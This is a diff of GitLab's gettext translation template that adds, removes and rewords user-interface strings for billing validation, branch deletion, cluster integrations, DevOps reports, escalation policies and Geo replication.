@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5183,6 +5286,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5192,6 +5298,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
